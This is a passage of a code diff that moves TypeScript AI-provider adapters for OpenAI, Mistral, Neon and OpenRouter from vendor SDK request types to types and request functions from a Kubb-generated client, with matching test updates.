(client: MistralClient) => client.chat.complete(chatRequest) +const complete = (client: MistralClient) => client.chat.complete(chatBody) describe('Mistral client parity with the SDK', () => { afterEach(() => { @@ -373,7 +387,7 @@ describe('Mistral client parity with the SDK', () => { it('embeddings.create sends the same request and returns the same result', async () => { const { sdk, ours } = await runBoth( - (client) => client.embeddings.create(embeddingRequest), + (client) => client.embeddings.create(embeddingBody), () => Response.json(embeddingResponse), ) expect(ours.sent).toEqual(sdk.sent) diff --git a/packages/ai-mistral/tests/replay-parity.test.ts b/packages/ai-mistral/tests/replay-parity.test.ts index cbeb7782af..d824a88eba 100644 --- a/packages/ai-mistral/tests/replay-parity.test.ts +++ b/packages/ai-mistral/tests/replay-parity.test.ts @@ -246,27 +246,7 @@ describe('Mistral replay parity', () => { const { bodies } = await run(path, ordinary) expect(bodies[0]).toEqual({ model: 'mistral-small-latest', - messages: - path === 'stream' - ? ordinaryMessages - : [ - ordinaryMessages[0], - ordinaryMessages[1], - { - role: 'assistant', - content: 'Hi', - prefix: false, - tool_calls: [ - { - id: 'Abc123456', - type: 'function', - index: 0, - function: { name: 'lookup', arguments: '{"value":1}' }, - }, - ], - }, - ordinaryMessages[3], - ], + messages: ordinaryMessages, temperature: 0.2, max_tokens: 128, top_p: 0.8, @@ -276,7 +256,6 @@ describe('Mistral replay parity', () => { ...(path === 'stream' ? { stream: true, stream_options: { include_usage: true } } : { - stream: false, response_format: { type: 'json_schema', json_schema: { diff --git a/packages/ai-mistral/vite.config.ts b/packages/ai-mistral/vite.config.ts index 9914ef34c2..f843dc5825 100644 --- a/packages/ai-mistral/vite.config.ts +++ b/packages/ai-mistral/vite.config.ts @@ -20,6 +20,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-neon/src/adapters/embedding.ts b/packages/ai-neon/src/adapters/embedding.ts index bde0287f51..523ec88964 100644 --- a/packages/ai-neon/src/adapters/embedding.ts +++ b/packages/ai-neon/src/adapters/embedding.ts @@ -9,8 +9,10 @@ import type { EmbeddingResult, TokenUsage, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostEmbeddingsBody, +} from '@tanstack/openai-base' import type { NeonEmbeddingModel } from '../model-meta' import type { NeonClientConfig } from '../utils/client' @@ -52,7 +54,7 @@ export class NeonEmbeddingAdapter< const texts = requireTextOnlyEmbeddingInput(options.input, this.name, model) try { - const request: OpenAI_SDK.EmbeddingCreateParams = { + const request: OpenaiPostEmbeddingsBody = { ...options.modelOptions, model, input: texts, diff --git a/packages/ai-openai/src/adapters/embedding.ts b/packages/ai-openai/src/adapters/embedding.ts index f497ddb079..8b51e24d73 100644 --- a/packages/ai-openai/src/adapters/embedding.ts +++ b/packages/ai-openai/src/adapters/embedding.ts @@ -1,5 +1,8 @@ import { createOpenAIClient } from '@tanstack/openai-base' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostEmbeddingsBody, +} from '@tanstack/openai-base' import { BaseEmbeddingAdapter } from '@tanstack/ai/adapters' import { toRunErrorPayload } from '@tanstack/ai/adapter-internals' import { generateId } from '@tanstack/ai-utils' @@ -10,7 +13,6 @@ import type { EmbeddingResult, TokenUsage, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' import type { OpenAIEmbeddingModel, OpenAIEmbeddingModelInputModalitiesByName, @@ -95,7 +97,7 @@ export class OpenAIEmbeddingAdapter< start < texts.length; start += OPENAI_MAX_BATCH_SIZE ) { - const request: OpenAI_SDK.EmbeddingCreateParams = { + const request: OpenaiPostEmbeddingsBody = { ...baseRequest, ...dimensions, input: texts.slice(start, start + OPENAI_MAX_BATCH_SIZE), diff --git a/packages/ai-openai/src/adapters/image.ts b/packages/ai-openai/src/adapters/image.ts index 31a71fb27f..f1ddbf71e8 100644 --- a/packages/ai-openai/src/adapters/image.ts +++ b/packages/ai-openai/src/adapters/image.ts @@ -17,8 +17,11 @@ import type { ImagePart, MediaInputMetadata, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostImagesEditsBody, + OpenaiPostImagesGenerationsBody, +} from '@tanstack/openai-base' import type { OpenAIImageModel } from '../model-meta' import type { OpenAIImageModelInputModalitiesByName, @@ -116,17 +119,14 @@ export class OpenAIImageAdapter< }) } - // With exactOptionalPropertyTypes, vendor SDK request shapes reject - // `T | undefined` in optional fields. Build the request incrementally and - // only set `size` when it's actually defined. The SDK's `quality` type - // does not list the gpt-image-2.5 `xhigh` / `max` levels yet, so cast the - // spread. - const request: OpenAI_SDK.Images.ImageGenerateParams = { + // With exactOptionalPropertyTypes, request shapes reject `T | undefined` + // in optional fields. Build the request incrementally and only set `size` + // when it's actually defined. + const request: OpenaiPostImagesGenerationsBody = { model, prompt, n: numberOfImages ?? 1, - ...((modelOptions ?? - {}) as Partial), + ...modelOptions, } if (size !== undefined) { request.size = size @@ -254,9 +254,7 @@ export class OpenAIImageAdapter< ) : undefined - // The SDK's edit params do not list every gpt-image option (e.g. the - // gpt-image-2.5 `xhigh` / `max` quality levels), so cast the spread. - const request: OpenAI_SDK.Images.ImageEditParamsNonStreaming = { + const request: OpenaiPostImagesEditsBody & { stream: false } = { model, prompt, image: @@ -265,8 +263,7 @@ export class OpenAIImageAdapter< : sourceFiles, n: numberOfImages ?? 1, stream: false, - ...((modelOptions ?? - {}) as Partial), + ...modelOptions, } if (size !== undefined) { request.size = size diff --git a/packages/ai-openai/src/adapters/transcription.ts b/packages/ai-openai/src/adapters/transcription.ts index 2c6be31ea7..4a64e48027 100644 --- a/packages/ai-openai/src/adapters/transcription.ts +++ b/packages/ai-openai/src/adapters/transcription.ts @@ -1,5 +1,8 @@ import { createOpenAIClient } from '@tanstack/openai-base' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostAudioTranscriptionsBody, +} from '@tanstack/openai-base' import { BaseTranscriptionAdapter } from '@tanstack/ai/adapters' import { toRunErrorPayload } from '@tanstack/ai/adapter-internals' import { base64ToArrayBuffer, generateId } from '@tanstack/ai-utils' @@ -25,7 +28,7 @@ type DiarizeModel = (typeof DIARIZE_MODELS)[number] type OpenAITranscriptionResponseMode = 'diarized' | 'verbose' | 'plain' interface OpenAITranscriptionRequestPlan { - request: OpenAI_SDK.Audio.TranscriptionCreateParamsNonStreaming + request: OpenaiPostAudioTranscriptionsBody & { stream?: false | null } responseMode: OpenAITranscriptionResponseMode } @@ -325,7 +328,7 @@ export class OpenAITranscriptionAdapter< // Spread modelOptions first so it can never override the validated // `model`/`file` fields (server routes often pass modelOptions through // from untyped client input). - const request: OpenAI_SDK.Audio.TranscriptionCreateParamsNonStreaming = { + const request: OpenAITranscriptionRequestPlan['request'] = { ...modelOptions, model, file, diff --git a/packages/ai-openai/src/adapters/tts.ts b/packages/ai-openai/src/adapters/tts.ts index d3e1f23ec9..0e0fc46720 100644 --- a/packages/ai-openai/src/adapters/tts.ts +++ b/packages/ai-openai/src/adapters/tts.ts @@ -1,5 +1,8 @@ import { createOpenAIClient } from '@tanstack/openai-base' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostAudioSpeechBody, +} from '@tanstack/openai-base' import { BaseTTSAdapter } from '@tanstack/ai/adapters' import { toRunErrorPayload } from '@tanstack/ai/adapter-internals' import { arrayBufferToBase64, generateId } from '@tanstack/ai-utils' @@ -10,7 +13,6 @@ import { validateSpeed, } from '../audio/audio-provider-options' import type { TTSOptions, TTSResult } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' import type { OpenAITTSModel } from '../model-meta' import type { OpenAITTSProviderOptions } from '../audio/tts-provider-options' import type { OpenAIClientConfig } from '../utils/client' @@ -63,7 +65,7 @@ export class OpenAITTSAdapter< // With exactOptionalPropertyTypes, vendor SDK request shapes reject // `T | undefined` in optional fields; spread optional inputs conditionally. - const request: OpenAI_SDK.Audio.SpeechCreateParams = { + const request: OpenaiPostAudioSpeechBody = { model, input: text, voice: voice || 'alloy', diff --git a/packages/ai-openai/src/adapters/video.ts b/packages/ai-openai/src/adapters/video.ts index 65cfbeb188..98203c3cb1 100644 --- a/packages/ai-openai/src/adapters/video.ts +++ b/packages/ai-openai/src/adapters/video.ts @@ -1,5 +1,8 @@ import { createOpenAIClient } from '@tanstack/openai-base' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostVideosBody, +} from '@tanstack/openai-base' import { resolveMediaPrompt } from '@tanstack/ai' import { BaseVideoAdapter, snapToDurationOption } from '@tanstack/ai/adapters' import { toRunErrorPayload } from '@tanstack/ai/adapter-internals' @@ -19,7 +22,6 @@ import type { VideoStreamResult, VideoUrlResult, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' import type { OpenAIVideoModel } from '../model-meta' import type { OpenAIVideoModelDurationByName, @@ -116,7 +118,7 @@ export class OpenAIVideoAdapter< ) } - const request: OpenAI_SDK.Videos.VideoCreateParams = { + const request: OpenaiPostVideosBody = { model, prompt: resolved.text, } @@ -131,7 +133,7 @@ export class OpenAIVideoAdapter< options.abortSignal, ) } - // `VideoCreateParams.size` is `size?: VideoSize` (no `| undefined`), so we + // `OpenaiPostVideosBody.size` has no `| undefined`, so we // narrow before assignment instead of casting from a `T | undefined` source. if (resolvedSize) { request.size = resolvedSize diff --git a/packages/ai-openai/tests/compatible-reasoning.test.ts b/packages/ai-openai/tests/compatible-reasoning.test.ts index ba06fb3f99..208edb3cad 100644 --- a/packages/ai-openai/tests/compatible-reasoning.test.ts +++ b/packages/ai-openai/tests/compatible-reasoning.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import OpenAI from 'openai' +import { createOpenAIClient } from '@tanstack/openai-base' import { EventType } from '@tanstack/ai' import { resolveDebugOption } from '@tanstack/ai/adapter-internals' import { OpenAICompatibleChatAdapter } from '../src/compatible/adapter' @@ -24,12 +24,14 @@ function createAsyncIterable(chunks: Array): AsyncIterable { } function makeAdapter(streamChunks: Array>) { - const client = new OpenAI({ apiKey: 'test-api-key' }) - client.chat.completions.create = vi - .fn() - .mockResolvedValue( - createAsyncIterable(streamChunks), - ) as typeof client.chat.completions.create + const client = createOpenAIClient({ + apiKey: 'test-api-key', + fetch: () => Promise.reject(new Error('No network in this test')), + }) + // The raw chunks stand in for SDK chunks; the test checks the events. + const create: (...args: Array) => Promise = async () => + createAsyncIterable(streamChunks) + vi.spyOn(client.chat.completions, 'create').mockImplementation(create) return new OpenAICompatibleChatAdapter( client, 'deepseek-reasoner', diff --git a/packages/ai-openrouter/src/client/chat.ts b/packages/ai-openrouter/src/client/chat.ts index a3be4bc640..e3cfa775b5 100644 --- a/packages/ai-openrouter/src/client/chat.ts +++ b/packages/ai-openrouter/src/client/chat.ts @@ -1,4 +1,6 @@ +import { openrouterPostChatCompletions } from '../generated/client/sdk' import { createCaller, sendText } from './http' +import { toWire } from './remap' import { ChatRequest, ChatResult, @@ -18,13 +20,12 @@ import type { SendChatCompletionRequestRequest } from '@openrouter/sdk/models/op const tables = { objects: OBJECTS, - body: ChatRequest, json: ChatResult, event: ChatStreamChunk, } /** - * The SDK `chat.send` over fetch: `POST /chat/completions`, JSON or SSE. + * The SDK `chat.send` over the generated `POST /chat/completions`, JSON or SSE. * * @example * const { chat } = createOpenRouterChatClient({ apiKey: 'sk-or-...' }) @@ -39,17 +40,26 @@ export function createOpenRouterChatClient(config: OpenRouterClientOptions) { send: (async ( request: SendChatCompletionRequestRequest, requestOptions?: RequestOptions, - ) => - (await sendText( + ) => { + const body = toWire(request.chatRequest, ChatRequest, OBJECTS) + const result = await sendText( call, - 'chat/completions', - request.chatRequest, + (http) => + openrouterPostChatCompletions({ + client: http, + body: { + ...body, + // @ts-expect-error modelschemas gap: web plugin `user_location` rejects null + plugins: body.plugins, + }, + }), + body.stream, request, tables, requestOptions, - )) as - | ChatResultModel - | EventStream) as Chat['send'], + ) + return result as ChatResultModel | EventStream + }) as Chat['send'], }, } return client diff --git a/packages/ai-openrouter/src/client/http.ts b/packages/ai-openrouter/src/client/http.ts index 6eafab4545..70655ede81 100644 --- a/packages/ai-openrouter/src/client/http.ts +++ b/packages/ai-openrouter/src/client/http.ts @@ -7,8 +7,10 @@ import { UnexpectedClientError, } from '@openrouter/sdk/models/errors/httpclienterrors.js' import { parseSSE } from '@tanstack/ai-utils/http' +import { sendWith } from '@tanstack/ai-utils/kubb' import { fits, remap } from './remap' import type { RemapNode, RemapObjects } from './remap' +import type { ClientInstance } from '@tanstack/ai-utils/kubb' import type { SDKOptions } from '@openrouter/sdk' import type { RequestOptions } from '@openrouter/sdk/lib/sdks.js' import type { RetryConfig } from '@openrouter/sdk/lib/retries.js' @@ -28,8 +30,10 @@ export interface Operation { method: 'GET' | 'POST' path: string query?: string - /** The JSON body. `undefined` sends no body. */ - body?: unknown + /** The serialized body, JSON unless `bodyHeaders` say otherwise. `undefined` sends no body. */ + body?: BodyInit + /** The headers of a generated body (its content type). Request headers win. */ + bodyHeaders?: Record accept: string /** The request fields that override the client headers. */ headers?: { @@ -104,6 +108,11 @@ function withEnvDefaults(options: OpenRouterClientOptions) { } } +/** A generated operation, called with a client that sends through `send`. */ +export type GeneratedOperation = ( + client: ClientInstance, +) => Promise<{ response: Response }> + /** The errors that have a typed class for chat and responses. */ const TEXT_ERRORS = [ 400, 401, 402, 403, 404, 408, 413, 422, 429, 500, 502, 503, 524, 529, @@ -120,10 +129,40 @@ export function createCaller(config: OpenRouterClientOptions) { send(options, baseURL, operation, requestOptions) } -/** The tables to remap one text operation. */ +/** + * Sends a generated operation. It builds the path and the body; `call` + * sends them with the client headers, auth, retries, and errors. + */ +export async function callGenerated( + call: ReturnType, + generated: GeneratedOperation, + operation: Omit, + requestOptions: RequestOptions | undefined, +) { + let exchange: Exchange | undefined + await generated( + sendWith(async (built) => { + exchange = await call( + { + ...operation, + // The generated path starts with `/`. The base URL can have a path + // (`/api/v1`), so the path stays relative to it. + path: built.path.slice(1), + body: built.body, + bodyHeaders: built.headers, + }, + requestOptions, + ) + return exchange.response + }), + ) + if (!exchange) throw new Error('The generated operation sent no request') + return exchange +} + +/** The tables to remap the result of one text operation. */ export interface TextTables { objects: RemapObjects - body: RemapNode json: RemapNode event: RemapNode } @@ -134,18 +173,18 @@ export interface TextTables { */ export async function sendText( call: ReturnType, - path: string, - body: Record & { stream?: boolean | null }, + operation: GeneratedOperation, + stream: boolean | null | undefined, request: Operation['headers'], tables: TextTables, requestOptions: RequestOptions | undefined, ) { - const exchange = await call( + const exchange = await callGenerated( + call, + operation, { method: 'POST', - path, - body: remap(body, tables.body, tables.objects), - accept: body.stream ? 'text/event-stream' : 'application/json', + accept: stream ? 'text/event-stream' : 'application/json', headers: request, okStatus: 200, okTypes: ['application/json', 'text/event-stream'], @@ -237,7 +276,10 @@ async function send( 'X-OpenRouter-Title': opHeaders?.appTitle ?? options.appTitle, } const headers = new Headers() - for (const [name, value] of Object.entries(headerValues)) { + for (const [name, value] of Object.entries({ + ...headerValues, + ...operation.bodyHeaders, + })) { if (value !== undefined) headers.set(name, value) } const apiKey = @@ -271,7 +313,7 @@ async function send( init.signal = AbortSignal.timeout(timeoutMs) const request = new Request(url, { ...init, - body: operation.body === undefined ? null : JSON.stringify(operation.body), + body: operation.body ?? null, headers, method: operation.method, }) diff --git a/packages/ai-openrouter/src/client/remap.ts b/packages/ai-openrouter/src/client/remap.ts index 6160b2e199..348a0e8dac 100644 --- a/packages/ai-openrouter/src/client/remap.ts +++ b/packages/ai-openrouter/src/client/remap.ts @@ -1,3 +1,5 @@ +import type { Unrecognized } from '@openrouter/sdk/types' + /** * One node of the generated rename tables (`tables/*.ts`): * @@ -199,3 +201,46 @@ function remapDiscriminated( if (outKey !== key && isPlainObject(out)) out[outKey] = discriminator return out } + +/** `autoName` of a camelCase key, as a type. */ +type SnakeCase = S extends `${infer H}${infer R}` + ? `${H extends Lowercase ? H : `_${Lowercase}`}${SnakeCase}` + : S + +/** + * The type of `remap(value, node)` for an SDK request type `T`: keys in + * snake_case, `additionalProperties` spread away. ponytail: it follows + * `autoName` only; the few table renames (`m`) are not modelled. The SDK + * forward-compatibility branches (`Unrecognized` open-enum values and the + * `isUnknown` union fallback) map to `never`: they exist for responses. + */ +export type Wire = T extends Unrecognized | { isUnknown: true } + ? never + : T extends string | number | boolean | bigint | symbol | null | undefined + ? T + : T extends ReadonlyArray + ? Array> + : T extends object + ? { + [K in keyof T as K extends 'additionalProperties' + ? never + : K extends string + ? SnakeCase + : K]: Wire + } + : T + +/** + * `remap` for a request: the SDK request `value` renamed to the wire, typed + * as {@link Wire}, so the generated client checks the body. The type is the + * one trusted step; `tests/remap-oracle.test.ts` checks the runtime against + * the SDK zod schemas. + */ +export function toWire( + value: T, + node: RemapNode, + objects: RemapObjects, +): Wire +export function toWire(value: unknown, node: RemapNode, objects: RemapObjects) { + return remap(value, node, objects) +} diff --git a/packages/ai-openrouter/src/client/rerank.ts b/packages/ai-openrouter/src/client/rerank.ts index 11f6b37e6b..4951f22399 100644 --- a/packages/ai-openrouter/src/client/rerank.ts +++ b/packages/ai-openrouter/src/client/rerank.ts @@ -21,7 +21,9 @@ export function createOpenRouterRerankClient(config: OpenRouterClientOptions) { { method: 'POST', path: 'rerank', - body: remap(request.requestBody, RerankRequest, OBJECTS), + body: JSON.stringify( + remap(request.requestBody, RerankRequest, OBJECTS), + ), accept: 'application/json;q=1, text/event-stream;q=0', headers: request, okStatus: 200, diff --git a/packages/ai-openrouter/src/client/responses.ts b/packages/ai-openrouter/src/client/responses.ts index 96efcf9d67..376eab55eb 100644 --- a/packages/ai-openrouter/src/client/responses.ts +++ b/packages/ai-openrouter/src/client/responses.ts @@ -1,4 +1,6 @@ +import { openrouterPostResponses } from '../generated/client/sdk' import { createCaller, sendText } from './http' +import { toWire } from './remap' import { OBJECTS, OpenResponsesResult, @@ -18,13 +20,12 @@ import type { CreateResponsesRequest } from '@openrouter/sdk/models/operations' const tables = { objects: OBJECTS, - body: ResponsesRequest, json: OpenResponsesResult, event: StreamEvents, } /** - * The SDK `beta.responses.send` over fetch: `POST /responses`, JSON or SSE. + * The SDK `beta.responses.send` over the generated `POST /responses`, JSON or SSE. * * @example * const { beta } = createOpenRouterResponsesClient({ apiKey: 'sk-or-...' }) @@ -42,17 +43,38 @@ export function createOpenRouterResponsesClient( send: (async ( request: CreateResponsesRequest, requestOptions?: RequestOptions, - ) => - (await sendText( - call, - 'responses', + ) => { + const body = toWire( request.responsesRequest, + ResponsesRequest, + OBJECTS, + ) + const result = await sendText( + call, + (http) => + openrouterPostResponses({ + client: http, + body: { + ...body, + // @ts-expect-error modelschemas gap: ReasoningItem.content rejects null, input has no `openrouter:mcp` item; public type mismatch: SDK ShellCallOutputItem.output vs ShellCallOutputContent + input: body.input, + // @ts-expect-error modelschemas gap: Responses `model` is a closed enum of known slugs, the API takes any model id + model: body.model, + // @ts-expect-error modelschemas gap: web plugin `user_location` rejects null + plugins: body.plugins, + // @ts-expect-error modelschemas gap: TextConfig & TextExtendedConfig intersect `verbosity` and drop 'max' + text: body.text, + }, + }), + body.stream, request, tables, requestOptions, - )) as + ) + return result as | OpenResponsesResultModel - | EventStream) as Responses['send'], + | EventStream + }) as Responses['send'], }, }, } diff --git a/packages/ai-openrouter/src/client/video.ts b/packages/ai-openrouter/src/client/video.ts index d59c21670a..dcc28f050f 100644 --- a/packages/ai-openrouter/src/client/video.ts +++ b/packages/ai-openrouter/src/client/video.ts @@ -1,5 +1,6 @@ -import { createCaller, readJSON } from './http' -import { remap } from './remap' +import { openrouterPostVideos } from '../generated/client/sdk' +import { callGenerated, createCaller, readJSON } from './http' +import { toWire } from './remap' import { OBJECTS, VideoGenerationRequest, @@ -16,8 +17,9 @@ async function readJob(exchange: Exchange) { } /** - * The SDK `videoGeneration` methods over fetch: `POST /videos`, - * `GET /videos/{jobId}`, and `GET /videos/{jobId}/content`. + * The SDK `videoGeneration` methods over fetch: the generated `POST /videos`, + * and the hand-written `GET /videos/{jobId}` and `GET /videos/{jobId}/content` + * (the OpenAPI document does not have them). * * @example * const { videoGeneration } = createOpenRouterVideoClient({ apiKey: 'sk-or-...' }) @@ -28,15 +30,24 @@ export function createOpenRouterVideoClient(config: OpenRouterClientOptions) { const client: Pick = { videoGeneration: { async generate(request, requestOptions) { - const exchange = await call( + const body = toWire( + request.videoGenerationRequest, + VideoGenerationRequest, + OBJECTS, + ) + const exchange = await callGenerated( + call, + (http) => + openrouterPostVideos({ + client: http, + body: { + ...body, + // @ts-expect-error modelschemas gap: Videos `model` is a closed enum of known slugs, the API takes any model id + model: body.model, + }, + }), { method: 'POST', - path: 'videos', - body: remap( - request.videoGenerationRequest, - VideoGenerationRequest, - OBJECTS, - ), accept: 'application/json', headers: request, okStatus: 202, diff --git a/packages/ai-openrouter/src/generated/client/sdk.ts b/packages/ai-openrouter/src/generated/client/sdk.ts new file mode 100644 index 0000000000..f66d9e5526 --- /dev/null +++ b/packages/ai-openrouter/src/generated/client/sdk.ts @@ -0,0 +1,1233 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + OpenrouterPostAudioSpeechOptions, + OpenrouterPostAudioSpeechResponses, + OpenrouterPostAudioTranscriptionsOptions, + OpenrouterPostAudioTranscriptionsResponses, + OpenrouterPostChatCompletionsOptions, + OpenrouterPostChatCompletionsResponses, + OpenrouterPostEmbeddingsOptions, + OpenrouterPostEmbeddingsResponses, + OpenrouterPostMessagesOptions, + OpenrouterPostMessagesResponses, + OpenrouterPostResponsesOptions, + OpenrouterPostResponsesResponses, + OpenrouterPostVideosAlibabaHappyhorse10Options, + OpenrouterPostVideosAlibabaHappyhorse10Responses, + OpenrouterPostVideosAlibabaHappyhorse11Options, + OpenrouterPostVideosAlibabaHappyhorse11Responses, + OpenrouterPostVideosAlibabaWan26Options, + OpenrouterPostVideosAlibabaWan26Responses, + OpenrouterPostVideosAlibabaWan27Options, + OpenrouterPostVideosAlibabaWan27Responses, + OpenrouterPostVideosAlibabaWan30Options, + OpenrouterPostVideosAlibabaWan30Responses, + OpenrouterPostVideosAlibabaWan30PrimeOptions, + OpenrouterPostVideosAlibabaWan30PrimeResponses, + OpenrouterPostVideosBlackForestLabsFlux3VideoOptions, + OpenrouterPostVideosBlackForestLabsFlux3VideoResponses, + OpenrouterPostVideosBlackForestLabsFluxVideoEditOptions, + OpenrouterPostVideosBlackForestLabsFluxVideoEditResponses, + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleOptions, + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleResponses, + OpenrouterPostVideosBytedanceSeedance15ProOptions, + OpenrouterPostVideosBytedanceSeedance15ProResponses, + OpenrouterPostVideosBytedanceSeedance20FastOptions, + OpenrouterPostVideosBytedanceSeedance20FastResponses, + OpenrouterPostVideosBytedanceSeedance20MiniOptions, + OpenrouterPostVideosBytedanceSeedance20MiniResponses, + OpenrouterPostVideosBytedanceSeedance20Options, + OpenrouterPostVideosBytedanceSeedance20Responses, + OpenrouterPostVideosBytedanceSeedance25Options, + OpenrouterPostVideosBytedanceSeedance25Responses, + OpenrouterPostVideosGoogleGeminiOmni11FlashOptions, + OpenrouterPostVideosGoogleGeminiOmni11FlashResponses, + OpenrouterPostVideosGoogleGeminiOmni12FlashOptions, + OpenrouterPostVideosGoogleGeminiOmni12FlashResponses, + OpenrouterPostVideosGoogleVeo31FastOptions, + OpenrouterPostVideosGoogleVeo31FastResponses, + OpenrouterPostVideosGoogleVeo31LiteOptions, + OpenrouterPostVideosGoogleVeo31LiteResponses, + OpenrouterPostVideosGoogleVeo31Options, + OpenrouterPostVideosGoogleVeo31Responses, + OpenrouterPostVideosHeygenAvatarIvOptions, + OpenrouterPostVideosHeygenAvatarIvResponses, + OpenrouterPostVideosHeygenHeygenVideo1Options, + OpenrouterPostVideosHeygenHeygenVideo1Responses, + OpenrouterPostVideosKwaivgiKlingV30ProOptions, + OpenrouterPostVideosKwaivgiKlingV30ProResponses, + OpenrouterPostVideosKwaivgiKlingV30StdOptions, + OpenrouterPostVideosKwaivgiKlingV30StdResponses, + OpenrouterPostVideosKwaivgiKlingVideoO1Options, + OpenrouterPostVideosKwaivgiKlingVideoO1Responses, + OpenrouterPostVideosMinimaxHailuo23Options, + OpenrouterPostVideosMinimaxHailuo23Responses, + OpenrouterPostVideosMinimaxHailuo3MaxOptions, + OpenrouterPostVideosMinimaxHailuo3MaxResponses, + OpenrouterPostVideosMinimaxHailuo3Options, + OpenrouterPostVideosMinimaxHailuo3Responses, + OpenrouterPostVideosOpenaiSora2ProOptions, + OpenrouterPostVideosOpenaiSora2ProResponses, + OpenrouterPostVideosOptions, + OpenrouterPostVideosResponses, + OpenrouterPostVideosRunwayAleph2Options, + OpenrouterPostVideosRunwayAleph2Responses, + OpenrouterPostVideosRunwayGen45Options, + OpenrouterPostVideosRunwayGen45Responses, + OpenrouterPostVideosTbcMischief1Options, + OpenrouterPostVideosTbcMischief1Responses, + OpenrouterPostVideosXAiGrokImagineVideo15LiteOptions, + OpenrouterPostVideosXAiGrokImagineVideo15LiteResponses, + OpenrouterPostVideosXAiGrokImagineVideo15Options, + OpenrouterPostVideosXAiGrokImagineVideo15Responses, + OpenrouterPostVideosXAiGrokImagineVideoOptions, + OpenrouterPostVideosXAiGrokImagineVideoResponses, +} from './types' +import type { Options, RequestResult } from '@tanstack/ai-utils/kubb' +import { client } from '@tanstack/ai-utils/kubb' + +/** + * @summary Create speech + * {@link /audio/speech} + */ +export function openrouterPostAudioSpeech( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/audio/speech', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Create transcription + * {@link /audio/transcriptions} + */ +export function openrouterPostAudioTranscriptions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/audio/transcriptions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Create a chat completion + * {@link /chat/completions} + */ +export function openrouterPostChatCompletions< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/chat/completions', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Submit an embedding request + * {@link /embeddings} + */ +export function openrouterPostEmbeddings( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/embeddings', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Create a message + * {@link /messages} + */ +export function openrouterPostMessages( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/messages', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Create a response + * {@link /responses} + */ +export function openrouterPostResponses( + options: Options, +): Promise> { + const { client: request = client, contentType, ...config } = options + + return request({ + method: 'POST', + url: '/responses', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { + request: 'application/json', + ...(typeof contentType === 'string' + ? { request: contentType } + : contentType), + }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Submit a video generation request + * {@link /videos} + */ +export function openrouterPostVideos( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Generate a video with Alibaba: HappyHorse 1.0 + * {@link /videos/alibaba/happyhorse-1.0} + */ +export function openrouterPostVideosAlibabaHappyhorse10< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosAlibabaHappyhorse10Options, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/happyhorse-1.0', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosAlibabaHappyhorse10Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Alibaba: HappyHorse 1.1 + * {@link /videos/alibaba/happyhorse-1.1} + */ +export function openrouterPostVideosAlibabaHappyhorse11< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosAlibabaHappyhorse11Options, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/happyhorse-1.1', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 